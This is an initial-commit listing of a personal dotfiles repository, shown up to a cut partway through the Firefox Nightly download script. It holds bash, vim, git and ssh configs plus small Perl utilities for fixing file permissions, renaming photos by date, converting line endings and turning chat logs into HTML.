1
0

Initial check-in

This commit is contained in:
Noah 2014-02-28 15:42:51 -08:00
commit ed2834874f
55 changed files with 4497 additions and 0 deletions

26
README.md Normal file
View File

@ -0,0 +1,26 @@
# Kirsle's Dotfiles
This repo is for my own personal use for syncing my Unix config files and
scripts between my various devices. Feel free to look around and learn from
my config scripts.
# Setup
```bash
~$ git clone git@github.com:kirsle/.dotfiles
~$ ./.dotfiles/setup --install
```
# Layout
* `./setup`
Installation script for the dotfiles. Creates symlinks for everything in
`./home` into `$HOME`.
This will **not** delete existing files, such as `~/.bashrc`. Use the
`--install` option to make it do so.
* `./home`
Everything in this folder will be symlinked to from your `$HOME` folder.

157
home/.bashrc Normal file
View File

@ -0,0 +1,157 @@
# .bashrc
# Kirsle's Global BashRC
# Updated 2013-05-21
PATH="/usr/sbin:/sbin:/usr/bin:/bin:/usr/local/bin:/usr/local/sbin:$HOME/bin:$HOME/go/bin"
# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi
# Source local system-specific config.
if [ -f ~/.localbashrc ]; then
. ~/.localbashrc
fi
# Perlbrew
export PERLBREW_ROOT="/opt/perl5"
if [ -f /opt/perl5/etc/bashrc ]; then
source /opt/perl5/etc/bashrc
fi
# Virtualenv
export WORKON_HOME=~/.virtualenv
if [ -f /usr/bin/virtualenvwrapper.sh ]; then
source /usr/bin/virtualenvwrapper.sh
fi
# Colors!
BLACK='\e[0;30m'
NAVY='\e[0;34m'
GREEN='\e[0;32m'
TEAL='\e[0;36m'
MAROON='\e[0;31m'
PURPLE='\e[0;35m'
BROWN='\e[0;33m'
SILVER='\e[0;37m'
GRAY='\e[1;30m'
BLUE='\e[1;34m'
LIME='\e[1;32m'
CYAN='\e[1;36m'
RED='\e[1;31m'
MAGENTA='\e[1;35m'
YELLOW='\e[1;33m'
WHITE='\e[1;37m'
BOLD='\e[1m'
NC='\e[0m' # No Color
function showcolors() {
echo -e "$BLACK BLACK $NAVY NAVY $GREEN GREEN $TEAL TEAL"
echo -e "$MAROON MAROON $PURPLE PURPLE $BROWN BROWN $SILVER SILVER"
echo -e "$GRAY GRAY $BLUE BLUE $LIME LIME $CYAN CYAN $RED RED"
echo -e "$MAGENTA MAGENTA $YELLOW YELLOW $WHITE WHITE$NC"
}
# Normalize the terminal.
ENLIGHTENED=0
if [ "$TERM" = 'xterm' ] || [ "$TERM" = 'xterm-256color' ] || [ "$TERM" = 'linux' ]; then
ENLIGHTENED=1
elif [ "$TERM" = 'screen' ] || [ "$TERM" = 'screen-256color' ]; then
ENLIGHTENED=1
elif [ "$TERM" = 'cygwin' ]; then
ENLIGHTENED=1
fi
# Custom bash prompt.
if [ "$ENLIGHTENED" = '1' ]; then
if [ `hostname` = 'fubar' ] || [ `hostname` = 'yakko' ]; then
export PS1="\[$CYAN\]\t \[$LIME\][\[$YELLOW\]\u\[$RED\]@\[$YELLOW\]\h \[$LIME\]\W\[$LIME\]]\[$BLUE\]\\$ \[$NC\]"
else
export PS1="\[$BOLD$BLUE\][\[$MAGENTA\]\u\[$BLUE\]@\[$MAGENTA\]\h \[$LIME\]\W\[$BLUE\]]\\$ \[$NC\]"
fi
fi
# For non-Fedora environments be sure the PROMPT_COMMAND sets the title bar.
export PROMPT_COMMAND='printf "\033]0;%s@%s:%s\007" "${USER}" "${HOSTNAME%%.*}" "${PWD/#$HOME/~}"'
# ___ ____ _ _ ____ ____ __ __
# / __)( ___)( \( )( ___)( _ \ /__\ ( )
# ( (_-. )__) ) ( )__) ) / /(__)\ )(__
# \___/(____)(_)\_)(____)(_)\_)(__)(__)(____)
# -==General Bash Aliases and Functions==-
alias vi='vim'
# reload .bashrc
alias rebash='. ~/.bashrc'
# a DOS-like title command
function title {
PROMPT_COMMAND="echo -en \"\033]0;$1\007\""
}
# Case-insensitive searching.
shopt -s nocaseglob
# Save history correctly when using multiple terminals.
# Don't save duplicate lines or blank lines.
export HISTCONTROL="ignoreboth"
export HISTSIZE=1000
shopt -s histappend
export EDITOR="/usr/bin/vim"
# Color grepping! Highlight grep expression in red text.
export GREP_COLOR=31
alias grep='grep --exclude=min.js --color=auto'
# Show proc name with pgrepping.
alias pg='ps aux | grep'
alias pgrep='pgrep -l'
# Allow ASCII color codes to work in less/more.
alias less='less -r'
alias more='less -r' # less is more
# ls aliases (Fedora defaults but defined here for portability)
alias ls='ls --color=auto'
alias ll='ls -hl --color=auto'
# More aliases!
alias ping='ping -c 10'
# Shortcuts to graphical programs.
alias firefox='nohup firefox 2>/dev/null'
alias gedit='nohup gedit 2>/dev/null'
# Lazy cd commands.
alias ...='cd ../..'
alias ..='cd ..'
alias ~='cd ~'
alias cd..='cd ..'
alias cd...='cd ../..'
# Lazy id commands
alias me='whoami'
alias i='whoami'
# Typos
alias iv='vi'
# Make cp and mv ask before replacing an existing file.
alias cp='cp -i'
alias mv='mv -i'
# 256 Color Terminal! Make sure a .xterm256 file exists in $HOME to enable.
if [ -e ".xterm256" ]; then
[ "$TERM" = 'xterm' ] && TERM=xterm-256color
[ "$TERM" = 'screen' ] && TERM=screen-256color
[ "$TERM" = 'rxvt-unicode' ] && TERM=rxvt-unicode-256color
if [ ! -z "$TERMCAP" ] && [ "$TERM" = "screen-256color" ]; then
TERMCAP=$(echo $TERMCAP | sed -e 's/Co#8/Co#256/g')
export TERMCAP
fi
fi

View File

@ -0,0 +1,12 @@
[Desktop Entry]
Encoding=UTF-8
Version=0.9.4
Type=Application
Name=pyupdatesd
Comment=Yum Updates Daemon
Exec=pyupdatesd
OnlyShowIn=XFCE;
StartupNotify=false
Terminal=false
Hidden=false

View File

@ -0,0 +1 @@
1393630217

View File

@ -0,0 +1,6 @@
{
"installed_packages":
[
"Better CoffeeScript"
]
}

View File

@ -0,0 +1,12 @@
{
"draw_white_space": "all",
"font_face": "Ubuntu Mono",
"font_size": 12,
"hot_exit": false,
"ignored_packages":
[
"Vintage"
],
"remember_open_files": false,
"translate_tabs_to_spaces": true
}

22
home/.gitconfig Normal file
View File

@ -0,0 +1,22 @@
[user]
name = Noah Petherbridge
email = root@kirsle.net
[alias]
ci = commit
co = checkout
br = branch
st = status
[core]
editor = vim
[color]
ui = true
diff = true
pager = true
status = auto
branch = auto
[push]
default = simple

26
home/.ssh/config Normal file
View File

@ -0,0 +1,26 @@
Host *
ForwardAgent no
ForwardX11 no
ForwardX11Trusted yes
Port 22
Protocol 2
ServerAliveInterval 60
ServerAliveCountMax 30
# All hosts here prohibit password based logins, so don't get any ideas. ;)
Host socks
HostName kirsle.net
User kirsle
PasswordAuthentication no
DynamicForward 8080
Host kirsle
HostName kirsle.net
User kirsle
PasswordAuthentication no
Host caskir
HostName caskir.com
User noah
PasswordAuthentication no

129
home/.vimrc Normal file
View File

@ -0,0 +1,129 @@
" vimrc, http://sh.kirsle.net/
" Last Modified 2013/09/27
set encoding=utf8 " Unicode support
set nocompatible " use vim defaults
set background=dark " my terminal has a black background
set tabstop=4 " number of spaces for tab character
set softtabstop=4 " insert/delete 4 spaces when hitting a tab/backspace
set shiftwidth=4 " number of spaces to auto-indent
set shiftround " round indent to multiple of 'shiftwidth'
set scrolloff=3 " keep 3 lines when scrolling
set smartindent " smart auto-indenting (recognizes C-like code)
set showmatch " hilite the matching brace when we type the closing brace
set nohls " don't highlight search matches
set incsearch " incremental search (search while you type)
set ignorecase " case-insensitive search
set showcmd " display incomplete commands
set ttyfast " smoother changes
set autowrite " automatic saving when quitting and switching buffer
set autoread " automatic read when file is modified from outside
syntax on " syntax highlighting
" When vimrc is edited, reload it.
autocmd! BufWritePost .vimrc source ~/.vimrc
" Enable filetype plugin
filetype plugin on
filetype indent on
" Mouse support that keeps the fast scroll wheel speed.
set mouse=a
set ttymouse=xterm2
map <MouseUp> 12j
map <MouseDown> 12k
map <MiddleMouse> <Nop>
imap <MouseUp> <C-O>12j
imap <MouseDown> <C-O>12k
imap <MiddleMouse> <Nop>
" Make movement make sense across wrapped lines.
nnoremap j gj
nnoremap k gk
imap <Up> <C-O>gk
imap <Down> <C-O>gj
map <Up> gk
map <Down> gj
" Tell Vim to remember things when we exit:
" '10 : marks will be remembered for up to 10 previously edited files
" "100 : will save up to 100 lines for each register
" :20 : up to 20 lines of command-line history remembered
" % : saves and restores the buffer list
" n... : where to save the viminfo files
set viminfo='10,\"100,:20,%,n~/.viminfo'
" Restore the cursor position.
function! ResCur()
if line("'\"") <= line("$")
normal! g`"
return 1
endif
endfunction
augroup resCur
autocmd!
autocmd BufWinEnter * call ResCur()
augroup END
" make tab in v mode indent code
vmap <tab> >gv
vmap <s-tab> <gv
" make tab in normal mode indent code
nmap <tab> I<tab><esc>
nmap <s-tab> ^i<bs><esc>
" change the bash title so the filename is first in the title bar
let &titlestring = expand("%:t") . " - vim on " . hostname()
if &term == "screen"
set t_ts=k
set t_fs=\
endif
if &term == "screen" || &term == "xterm" || &term == "xterm-256color"
set title
endif
" custom file extensions
au BufNewFile,BufRead *.panel set filetype=html
au BufNewFile,BufRead *.tt set filetype=html
au BufNewFile,BufRead *.tp set filetype=html
""""""""""""""""""""""""
""" General coding stuff
""""""""""""""""""""""""
" git commit messages
autocmd Filetype gitcommit setlocal spell textwidth=72
" reStructuredText
autocmd FileType rst set tabstop=3 softtabstop=3 shiftwidth=3 expandtab
" Make sure the syntax is always right, even when in the middle of
" a huge javascript inside an html file.
autocmd BufEnter * :syntax sync fromstart
" Map F12 to sync the syntax too.
noremap <F12> <Esc>:syntax sync fromstart<CR>
inoremap <F12> <C-o>:syntax sync fromstart<CR>
""""""""""""""
""" Perl stuff
""""""""""""""
" check perl code with :make
autocmd FileType perl set makeprg=perl\ -c\ %\ $*
autocmd FileType perl set errorformat=%f:%l%m
" syntax highlight pod documentation correctly
let perl_include_pod = 1
" syntax color complex things like @{${"foo"}}
let perl_extended_vars = 1
""""""""""""""""
""" Python stuff
""""""""""""""""
" expand tabs for python code
autocmd BufRead,BufNewFile *.py set expandtab

59
home/bin/browser-wrap Executable file
View File

@ -0,0 +1,59 @@
#!/usr/bin/perl
# browser-wrap: Set this as your default browser to open certain links with
# certain browsers.
#
# To get `xdg-open` to use this, put this in your ~/.profile (update the path
# to match where you installed the script to):
#
# if [ -n "$DISPLAY" ]; then
# BROWSER=/home/kirsle/bin/browser-wrap
# fi
#
# --Kirsle
# http://sh.kirsle.net/
use 5.14.0;
use strict;
use warnings;
#------------------------------------------------------------------------------#
# Configuration Section #
#------------------------------------------------------------------------------#
# Define your browser rules here.
my $rules = {
# These are domain names to match. Use a regular expression.
qr/(facebook|fbcdn)\.(com|net)/ => "google-chrome",
};
# Default browser for links that don't have rules that match.
my $default = "firefox";
#------------------------------------------------------------------------------#
# End Configuration Section #
#------------------------------------------------------------------------------#
# Get the URL passed in.
my $url = shift(@ARGV);
my $browser = $default;
# Looks okay?
if ($url =~ /^https?:\/\/([^\/]+)\/?/i) {
print "Domain: $1\n";
my $domain = $1;
# Look for the best rule.
my @sorted = sort { length($b) <=> length($a) } keys %{$rules};
foreach my $rule (@sorted) {
if ($domain =~ /$rule/i) {
# Matched!
$browser = $rules->{$rule};
last;
}
}
}
# Launch the browser.
my ($app, @args) = split(/\s+/, $browser);
exec($app, @args, $url, @ARGV);

55
home/bin/chmodfix Executable file
View File

@ -0,0 +1,55 @@
#!/usr/bin/perl -w
# chmodfix - automagically fix file permissions, recursively, to their sane
# default values:
#
# CGI scripts = 0755
# directories = 0755
# normal files = 0644
#
# usage: chmodfix <start-directory>
#
# --Kirsle
# http://sh.kirsle.net/
if (scalar(@ARGV)) {
foreach my $dir (@ARGV) {
if (-d $dir) {
print "#####################\n";
print "Fix: $dir\n";
print "#####################\n";
&scanDir($dir);
}
}
}
else {
print "Usage: chmodfix <directories>\n";
exit(0);
}
sub scanDir {
my $dir = shift;
opendir (DIR, $dir);
foreach my $file (readdir(DIR)) {
next if $file eq ".";
next if $file eq "..";
if (-d "$dir/$file") {
print "chmod directory: 0755 ($dir/$file)\n";
chmod (0755, "$dir/$file");
&scanDir ("$dir/$file");
}
else {
if ($file =~ /\.(cgi|pl)$/i) {
print "chmod CGI file: 0755 ($dir/$file)\n";
chmod (0755, "$dir/$file");
}
else {
print "chmod file: 0644 ($dir/$file)\n";
chmod (0644, "$dir/$file");
}
}
}
closedir (DIR);
}

49
home/bin/chmodweb Executable file
View File

@ -0,0 +1,49 @@
#!/usr/bin/perl -w
# chmodweb - Like chmodfix except regular files are chmodded 0666 instead of
# 0644. See chmodfix.
#
# --Kirsle
# http://sh.kirsle.net/
if (scalar(@ARGV)) {
foreach my $dir (@ARGV) {
if (-d $dir) {
print "#####################\n";
print "Fix: $dir\n";
print "#####################\n";
&scanDir($dir);
}
}
}
else {
print "Usage: chmodfix <directories>\n";
exit(0);
}
sub scanDir {
my $dir = shift;
opendir (DIR, $dir);
foreach my $file (readdir(DIR)) {
next if $file eq ".";
next if $file eq "..";
if (-d "$dir/$file") {
print "chmod directory: 0755 ($dir/$file)\n";
chmod (0755, "$dir/$file");
&scanDir ("$dir/$file");
}
else {
if ($file =~ /\.(cgi|pl|php)$/i) {
print "chmod CGI file: 0755 ($dir/$file)\n";
chmod (0755, "$dir/$file");
}
else {
print "chmod file: 0666 ($dir/$file)\n";
chmod (0666, "$dir/$file");
}
}
}
closedir (DIR);
}

375
home/bin/datename Executable file
View File

@ -0,0 +1,375 @@
#!/usr/bin/perl -w
# datename - Automatically rename a large group of files to have dates in their
# names.
#
# This script is for renaming many files (e.g. files downloaded from a digital
# camera) to have dates as their file names, e.g. from 2009-12-25_001.jpg to
# 2009-12-25_058.jpg
#
# Usage: datename [options] <files>
# See `datename -?` for more help.
#
# --Kirsle
# http://sh.kirsle.net/
use strict;
use warnings;
use Getopt::Long;
use File::Copy;
our $version = "1.0 Feb 23 2009";
unless (@ARGV) {
print "Usage: datename [options] [files]\n"
. "Try `datename -?` for help.\n";
exit(1);
}
our %c = (
r => "\e[31m",
g => "\e[32m",
c => "\e[34m",
o => "\e[0m",
);
##############################
# Collect Options #
##############################
my @lt = localtime(time());
my $today = join("-",
sprintf("%04d", ($lt[5] + 1900)),
sprintf("%02d", ($lt[4] + 1)),
sprintf("%02d", ($lt[3])),
);
my $o = {
help => 0,
format => undef,
date => undef,
start => 1,
force => 0,
backup => "./datename-backup",
nobackup => 0,
mono => 0,
};
GetOptions (
'help|h|?' => \$o->{help},
'format|f=s' => \$o->{format},
'date|d=s' => \$o->{date},
'start|s=i' => \$o->{start},
'backup|b=s' => \$o->{backup},
'nobackup' => \$o->{nobackup},
'force' => \$o->{force},
'monotone|mono|m' => \$o->{mono},
);
if ($o->{help}) {
&help();
}
if ($o->{mono}) {
foreach my $key (keys %c) {
$c{$key} = '';
}
}
##############################
# Ask for Parameters #
##############################
$| = 1;
print "$c{r}DateName$c{o} version $c{g}$version$c{o}\n\n";
unless ($o->{nobackup}) {
print "Initializing backup directory... ";
if (!-d $o->{backup}) {
system("mkdir", "-p", $o->{backup});
if (!-d $o->{backup}) {
die "Can't create backup directory: $!";
}
}
print "Done!\n\n";
}
if (!defined $o->{format}) {
print "$c{c}1: Enter the format for the file names to follow. This should\n"
. " contain the sequences `yyyy`, `mm`, `dd`, and at least one\n"
. " `n`. For example if the format is `yyyy-mm-dd_nnn`, the\n"
. " and the date is 2009-02-23, the first file will be named\n"
. " 2009-02-23_001.jpg, the second 2009-02-23_002.jpg, and\n"
. " so-on. The default is yyyy-mm-dd_nnn. You can simply hit\n"
. " return here if you want to keep the default.$c{o}\n\n";
while (1) {
my $format = &prompt("Enter the date format, or blank for "
. "<yyyy-mm-dd_nnn>", "yyyy-mm-dd_nnn");
# Validate the format.
if ($format !~ /yyyy/ || $format !~ /mm/ || $format !~ /dd/
|| $format !~ /n+/) {
print "\n$c{r}You've entered an invalid date format. "
. "Try again.$c{o}\n\n";
}
else {
# Good.
$o->{format} = $format;
last;
}
}
}
if (!defined $o->{date}) {
print "\n$c{c}2: Enter the date that you want these files to be renamed\n"
. " after. Enter the date in the format of yyyy-mm-dd.\n"
. " Today's date is $c{g}$today$c{c}.$c{o}\n\n";
while (1) {
my $date = &prompt("Enter the date to rename the files after, "
. "or <$today>", $today);
# Validate the date.
if ($date !~ /^(\d\d\d\d)\-(\d\d)\-(\d\d)$/) {
print "\n$c{r}You've entered an invalid date. The date\n"
. "must be in yyyy-mm-dd format.$c{o}\n\n";
}
else {
# Good.
$o->{date} = $date;
last;
}
}
}
if (1) {
print "\n$c{c}3: Your files will be renamed beginning with the number "
. $c{g} . $o->{start} . "$c{c}.$c{o}\n\n";
my $answer = &prompt("Okay to begin at the number $o->{start}? "
. " [y/n] <y>",
"y",
qw(y yes n no));
if ($answer =~ /^n/i) {
while (1) {
my $start = &prompt("What number do you want to "
. "start at, or <1>", 1);
if ($start !~ /^\d+$/) {
print "\n$c{r}Invalid answer.$c{o}\n\n";
}
else {
$o->{start} = $start;
last;
}
}
}
}
##############################
# Summarize What's Going On #
##############################
my @files = &getFileList();
my $numFiles = scalar(@files);
my ($nss) = ($o->{format} =~ /(n+)/i);
our $ns = length $nss;
our ($year,$mon,$day) = ($o->{date} =~ /^(\d\d\d\d)\-(\d\d)\-(\d\d)$/);
if (1) {
my $backuptext = "Your files will be backed up to $o->{backup}.";
if ($o->{nobackup}) {
$backuptext = "Your files will *NOT* be backed up.";
}
my $first = &datename($o->{start});
my $last = &datename($o->{start} + $numFiles);
print "\n" . $c{c}
. ("=" x 70) . "$c{o}\n"
. "$c{g}Summary of Operations:$c{o}\n\n"
. "$c{c}Your $numFiles files are going to be renamed in the format\n"
. "'$o->{format}' using the date '$o->{date}', beginning with\n"
. "the number $o->{start}. They will be renamed from\n"
. "$first to $last.\n\n"
. "$backuptext$c{o}\n\n";
my $proceed = &prompt("Okay to proceed? [y/n] <n>", "n",
qw(y yes n no));
unless ($proceed =~ /^y/i) {
print "\nAborting procedure!\n";
exit(0);
}
}
##############################
# Main Operation #
##############################
my $int = $o->{start};
foreach my $file (@files) {
next unless -f $file;
my ($ext) = ($file =~ /\.([A-Za-z0-9]+?)$/i);
$ext = "jpg" unless defined $ext;
print "$c{c}Looking at file $file$c{o}\n";
unless ($o->{nobackup}) {
my $backup = $file;
my $bi = 1;
while (-f "$o->{backup}/$backup") {
$backup = "[$bi] $file";
$bi++;
}
print " Backing it up as $o->{backup}/$backup... ";
copy ($file, "$o->{backup}/$backup");
if (-f "$o->{backup}/$backup") {
print "Done!\n";
}
else {
die "$c{r}Error: couldn't back it up: $!$c{o}";
}
}
my $newName = &datename($int) . "." . lc($ext);
$int++;
print " Renaming file to $newName"
. ($o->{force} ? " (forced)" : "")
. "... ";
if (-f $newName && !$o->{force}) {
print "Warning: File already exists!$c{r}\n";
my $continue = &prompt(
" The file $newName already exists. Overwrite? "
. "[y/n] <n>", "n", qw(y yes n no));
if ($continue !~ /^y/i) {
print " Skipping rename of $file!$c{o}\n";
next;
}
print " Renaming file to $newName (forced)... $c{o}";
}
# Rename it.
rename ($file, $newName);
print "$c{g}Done!$c{o}\n";
}
print "\n"
. "$c{g}Procedure completed. Backups were saved to $o->{backup}.$c{o}\n";
exit(0);
sub datename {
my $i = shift;
my $format = $o->{format};
$format =~ s/yyyy/$year/ig;
$format =~ s/mm/$mon/ig;
$format =~ s/dd/$day/ig;
my $sprint = sprintf("%0${ns}d", $i);
$format =~ s/n+/$sprint/ig;
return $format;
}
sub getFileList {
if (@ARGV) {
return (@ARGV);
}
my @return = ();
opendir (DIR, ".");
foreach my $f (sort(grep(/^\./, readdir(DIR)))) {
if (-f $f) {
push (@return, $f);
}
}
closedir (DIR);
return (@return);
}
sub prompt {
my $question = shift;
my $default = shift;
my @accept = ();
my $asking = 1;
while ($asking) {
print "$question ";
chomp (my $answer = <STDIN>);
if (defined $answer && length $answer) {
if (@accept) {
foreach my $a (@accept) {
if ($answer eq $a) {
return $a;
}
}
print "Invalid answer.\n";
}
else {
return $answer;
}
}
else {
if (@accept) {
print "INvalid answer.\n";
}
else {
return $default;
}
}
}
}
sub help {
print <<EOF;
NAME
datename - Massively rename multiple files
USAGE
datename [options] <files>
OPTIONS
The following options can be provided at the command line, or will be
prompted for during operation.
--format, -f <format>
Provide the date format. Should contain yyyy, mm, dd, and a
sequence of at least one n. Ex: yyyy-mm-dd_nnn
--date, -d <date>
Provide the date. Should be in yyyy-mm-dd format, e.g.
2009-02-23
--start, -s <number>
Enter the iteration number to begin renaming files at. By
default it is 1.
The following options will modify the default behavior of the program:
--backup, -b <directory>
Specify the directory you want the files backed up into.
Default is ./datename-backup
This folder will try to be created if it doesn't exist.
--nobackup
Do not back up files (I don't recommend this option).
--force
Force rename all files (do not prompt the user if the file
already exists).
EXAMPLES
; Specify all the prompt questions on the command line and rename
; JPG and PNG images only.
datename -f "yyyy-mm-dd_nnn" -d "2009-02-23" -s 100 *.jpg *.png
; Rename JPG, BMP, and GIF, will be prompted for the other options
datename *.jpg *.bmp *.gif
; Rename everything
datename *
AUTHOR
Casey Kirsle
http://www.kirsle.net/
EOF
exit(1);
}

33
home/bin/dodos2unix Executable file
View File

@ -0,0 +1,33 @@
#!/usr/bin/perl -w
# dodos2unix - A stupid-simple recursive dos2unix front end.
#
# This script starts recursively scanning the current working directory (.) and
# runs dos2unix on every text file (extensions PL, PHP, CGI, HTM, HTML, TXT,
# INC, and PM).
#
# --Kirsle
# http://sh.kirsle.net/
use strict;
use warnings;
&scanDir (".");
sub scanDir {
my $dir = shift;
opendir (DIR, $dir);
foreach my $file (sort(grep(!/^\./, readdir(DIR)))) {
if (-d "$dir/$file") {
&scanDir ("$dir/$file");
}
else {
if ($file =~ /\.(pl|php|cgi|htm|html|txt|inc|pm|cml)$/i) {
print "dos2unix $dir/$file\n";
`dos2unix $dir/$file`;
}
}
}
closedir (DIR);
}

33
home/bin/dodos2unix2 Executable file
View File

@ -0,0 +1,33 @@
#!/usr/bin/perl -w
# dodos2unix - A stupid-simple recursive dos2unix front end.
#
# This script starts recursively scanning the current working directory (.) and
# runs dos2unix on every text file (extensions PL, PHP, CGI, HTM, HTML, TXT,
# INC, and PM).
#
# --Kirsle
# http://sh.kirsle.net/
use strict;
use warnings;
&scanDir (".");
sub scanDir {
my $dir = shift;
opendir (DIR, $dir);
foreach my $file (sort(grep(!/^\./, readdir(DIR)))) {
if (-d "$dir/$file") {
&scanDir ("$dir/$file");
}
else {
if ($file =~ /\.(pl|php|cgi|htm|html|txt|inc|pm|cml)$/i) {
print "dos2unix $dir/$file\n";
`perl -pi -e 's/\\r\\n/\\n/;' $dir/$file`;
}
}
}
closedir (DIR);
}

29
home/bin/dounix2dos Executable file
View File

@ -0,0 +1,29 @@
#!/usr/bin/perl -w
# dounix2dos - Like dodos2unix except it runs unix2dos instead. See dodos2unix
#
# --Kirsle
# http://sh.kirsle.net/
use strict;
use warnings;
&scanDir (".");
sub scanDir {
my $dir = shift;
opendir (DIR, $dir);
foreach my $file (sort(grep(!/^\./, readdir(DIR)))) {
if (-d "$dir/$file") {
&scanDir ("$dir/$file");
}
else {
if ($file =~ /\.(pl|php|cgi|htm|html|txt|inc|pm)$/i) {
print "unix2dos $dir/$file\n";
`unix2dos $dir/$file`;
}
}
}
closedir (DIR);
}

74
home/bin/dumpmsn Executable file
View File

@ -0,0 +1,74 @@
#!/usr/bin/perl
# dumpmsn - Pretty up MSN Messenger chat logs.
#
# Usage: dumpmsn *.xml
#
# This will create a folder named "html" and put the files there. Give it chat
# logs from Windows Live Messenger 2011 or similar (no guarantees it
# will work with other versions).
#
# --Kirsle
# http://sh.kirsle.net/
use 5.14.0;
use strict;
use warnings;
use XML::Simple;
if (!-d "html") {
mkdir("html") or die "Can't create folder 'html': $@";
}
foreach my $file (@ARGV) {
say "Dumping $file...";
my $xml = XMLin($file, ForceArray => 1);
my $html = $file;
$html =~ s/\.xml$//g;
open (my $fh, ">:utf8", "./html/$html.html");
print {$fh} <<EOF;
<!DOCTYPE html>
<html>
<head>
<title>Conversation Log</title>
<style>
body {
background-color: #FFFFFF;
font-family: Verdana,Arial,Helvetica,sans-serif;
font-size: small;
color: #000000;
}
</style>
</head>
<body>
EOF
if (ref($xml->{Message}) ne "ARRAY") {
warn "Not an array for $file";
next;
}
foreach my $Message (@{$xml->{Message}}) {
my $to = $Message->{To}->[0]->{User}->[0]->{FriendlyName};
my $from = $Message->{From}->[0]->{User}->[0]->{FriendlyName};
my $time = $Message->{Date} . " " . $Message->{Time};
my ($text,$style);
if (ref($Message->{Text}->[0])) {
$text = $Message->{Text}->[0]->{content};
$style = $Message->{Text}->[0]->{Style};
} else {
$text = $Message->{Text}->[0];
}
$style //= "";
$style = " style=\"$style\"" if length $style > 0;
print {$fh} "<strong>$time</strong><br>\n"
. "<em>$from says:</em>\n"
. "<blockquote$style>$text</blockquote>\n"
. "<hr>\n\n";
}
print {$fh} "</body>\n</html>";
close($fh);
}

67
home/bin/dumpsms Executable file
View File

@ -0,0 +1,67 @@
#!/usr/bin/perl
# dumpsms - Dump the SMS logs saved by "SMS Backup & Restore" into friendly
# readable HTML files!
#
# Usage: dumpsms <sms-dump.xml>
# Ex: dumpsms sms-20120629202942.xml
#
# It will create a folder "./sms" if it doesn't exist, and output all the logs
# into that folder. It saves HTML files after the contact name, if available.
# Logs are opened in append mode, so if you run the script multiple times the
# logs get appended to the end of the file!
#
# --Kirsle
# http://sh.kirsle.net/
use 5.14.0;
use strict;
use warnings;
use autodie;
use XML::Simple;
my $xml = shift or die "$0 <*.xml>";
mkdir("sms") unless -d "sms";
my $ref = XMLin($xml);
foreach my $sms (@{$ref->{sms}}) {
my $num = $sms->{address};
my $color = $sms->{type} eq "1" ? "receive" : "send";
my $dir = $sms->{type} eq "1" ? "From" : "Sent to";
my $file = "./sms/$sms->{contact_name}.html";
if (!-f $file) {
open (my $fh, ">", $file);
print {$fh} "<!DOCTYPE html>\n"
. "<html>\n"
. "<head>\n"
. "<title>Conversation with $sms->{contact_name}</title>\n"
. "<style>\n"
. "body {\n"
. " font-family: Verdana,Arial,sans-serif;\n"
. " font-size: small;\n"
. " color: #000000;\n"
. "}\n"
. ".receive {\n"
. " color: #0000FF;\n"
. "}\n"
. ".send {\n"
. " color: #FF0000;\n"
. "}\n"
. "</style>\n"
. "</head>\n"
. "<body>\n\n";
close($fh);
}
open (my $fh, ">>:utf8", "./sms/$sms->{contact_name}.html");
print {$fh} "<strong class='$color'>$sms->{readable_date}</strong><br>\n"
. "<strong>$dir</strong> $sms->{contact_name} - $num\n"
. "<blockquote>$sms->{body}</blockquote>\n"
. "<hr>\n";
close($fh);
}
say "Wrote logs to ./sms";

146
home/bin/ffnightly Executable file
View File

@ -0,0 +1,146 @@
#!/usr/bin/perl
# ffnightly - Download the latest version of Firefox Nightly.
#
# Run this script to fetch the latest version of Firefox Nightly. By default,
# it will be installed into /opt/firefox-nightly with a symlink to run it at
# /usr/bin/firefox-nightly. Furthermore, it will show up in your applications
# menu as "Firefox Nightly".
#
# This script needs to be run as root (if you don't, it will attempt to sudo
# run itself). To run it from a cron job, use the --force option and it will
# skip prompting you to make sure Firefox is not running first.
#
# Usage: ffnightly [--force]
#
# --Kirsle
# http://sh.kirsle.net
use 5.14.0;
use strict;
use warnings;
use English;
use File::Basename;
use Time::Local;
chomp(my $ARCH = `uname -p`);
################################################################################
# Configuration #
################################################################################
# Where to install Firefox Nightly to.
my $INSTALL = "/opt/firefox-nightly";
# Where to install the launcher symlink to.
my $BIN = "/usr/bin/firefox-nightly";
# Where to install the launcher shortcut to.
my $LAUNCHER = "/usr/share/applications/firefox-nightly.desktop";
# Where are the Firefox nightlies kept?
my $NIGHTLY = sprintf("ftp://ftp.mozilla.org/pub/firefox/nightly/latest-trunk/firefox-14.0a1.en-US.linux-%s.tar.bz2", $ARCH);
################################################################################
# End Configuration #
################################################################################
# Base name of tarball.
my $TARBALL = basename($NIGHTLY);
# Mozilla plugins lib.
my $PLUGINS = "/usr/lib" . ($ARCH eq 'x86_64' ? '64' : '') . "/mozilla/plugins";
# Check for required tools.
my %t = check_required();
unless (@ARGV && $ARGV[0] eq '--force') {
say "Make sure you close Firefox before continuing.";
print "Is Firefox closed now? [yN] ";
chomp(my $ans = <STDIN>);
exit(0) unless $ans =~ /^y/;
}
# Needs to be root.
if ($EFFECTIVE_USER_ID != 0) {
say "You need to run this script as root.";
exec($t{sudo}, $0, '--force');
exit(1);
}
# Make a temp folder for it.
my $tmp = "/tmp/firefox-nightly-$$-" . time();
run("mkdir -p $tmp");
# Fetch Firefox Nightly.
chdir($tmp);
run("wget $NIGHTLY");
run("tar -xjvf $TARBALL");
# Move it to the destination.
run("rm -rf $INSTALL") if -d $INSTALL;
if (!-d $INSTALL) {
run("mkdir -p $INSTALL");
}
run("mv firefox/* $INSTALL/");
# Make the symlink.
if (-e $BIN) {
run("rm -f $BIN");
}
# Make the launcher.
open (my $launch, ">", $LAUNCHER);
print {$launch} <<"EOF";
[Desktop Entry]
Version=1.0
Name=Firefox Nightly
GenericName=Web Browser
Comment=Browse the Web
Exec=firefox-nightly %u
Icon=$INSTALL/icons/mozicon128.png
Terminal=false
Type=Application
StartupWMClass=Firefox-bin
MimeType=text/html;text/xml;application/xhtml+xml;application/vnd.mozilla.xul+xml;text/mml;x-scheme-handler/http;x-scheme-handler/https;
StartupNotify=true
Categories=Network;WebBrowser;
EOF
close ($launch);
# Link the binary.
run("ln -s $INSTALL/firefox $BIN");
# Flash plugins etc!
if (-d "$INSTALL/plugins") {
run("rm -rf $INSTALL/plugins");
}
run("ln -s $PLUGINS $INSTALL/plugins");
# Cleanup.
run("rm -rf $tmp");
say "You have updated to the latest Firefox Nightly. The binary is installed";
say "to: $BIN";
exit(0);
sub run {
my $cmd = shift;
say "\$ $cmd";
system($cmd);
}
sub check_required {
